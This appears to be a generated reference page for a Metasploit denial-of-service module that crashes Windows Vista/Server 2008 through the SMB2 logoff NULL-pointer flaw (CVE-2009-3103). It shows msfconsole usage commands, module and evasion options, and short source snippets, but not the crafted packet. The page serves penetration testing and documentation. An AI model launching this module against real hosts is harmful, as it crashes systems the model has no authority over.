Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference - Metasploit


This page contains detailed information about how to use the auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
Module: auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
Source code: modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 445
List of CVEs: CVE-2009-3103

This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD. Effecting Vista SP1/SP2 (And possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
msf auxiliary(ms09_050_smb2_session_logoff) > show targets
    ... a list of targets ...
msf auxiliary(ms09_050_smb2_session_logoff) > set TARGET target-id
msf auxiliary(ms09_050_smb2_session_logoff) > show options
    ... show and set options ...
msf auxiliary(ms09_050_smb2_session_logoff) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/windows/smb/ms09_050_smb2_session_logoff auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff

msf6 auxiliary(dos/windows/smb/ms09_050_smb2_session_logoff) > show info

       Name: Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
     Module: auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  sf <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   445              yes       The target port (TCP)

Description:
  This module triggers a NULL pointer dereference in the SRV2.SYS 
  kernel driver when processing an SMB2 logoff request before a 
  session has been correctly negotiated, resulting in a BSOD. 
  Effecting Vista SP1/SP2 (And possibly Server 2008 SP1/SP2), the flaw 
  was resolved with MS09-050.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2009-3103
  OSVDB (57799)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/MS09-050

Module Options

This is a complete list of options available in the dos/windows/smb/ms09_050_smb2_session_logoff auxiliary module:

msf6 auxiliary(dos/windows/smb/ms09_050_smb2_session_logoff) > show options

Module options (auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   445              yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the dos/windows/smb/ms09_050_smb2_session_logoff auxiliary module:

msf6 auxiliary(dos/windows/smb/ms09_050_smb2_session_logoff) > show advanced

Module advanced options (auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/windows/smb/ms09_050_smb2_session_logoff module can do:

msf6 auxiliary(dos/windows/smb/ms09_050_smb2_session_logoff) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/windows/smb/ms09_050_smb2_session_logoff auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/windows/smb/ms09_050_smb2_session_logoff) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response. The target system has probably crashed.

Here is a relevant code snippet related to the "No response. The target system has probably crashed." error message:

51:	    sock.put( packet )
52:	
53:	    response = sock.get_once
54:	
55:	    if( not response )
56:	      print_status( "No response. The target system has probably crashed." )
57:	    else
58:	      print_status( "Response received. The target system is not vulnerable:\n#{response.inspect}" )
59:	    end
60:	
61:	    disconnect

Response received. The target system is not vulnerable:n<RESPONSE.INSPECT>

Here is a relevant code snippet related to the "Response received. The target system is not vulnerable:n<RESPONSE.INSPECT>" error message:

53:	    response = sock.get_once
54:	
55:	    if( not response )
56:	      print_status( "No response. The target system has probably crashed." )
57:	    else
58:	      print_status( "Response received. The target system is not vulnerable:\n#{response.inspect}" )
59:	    end
60:	
61:	    disconnect
62:	  end
63:	end

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • sf

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

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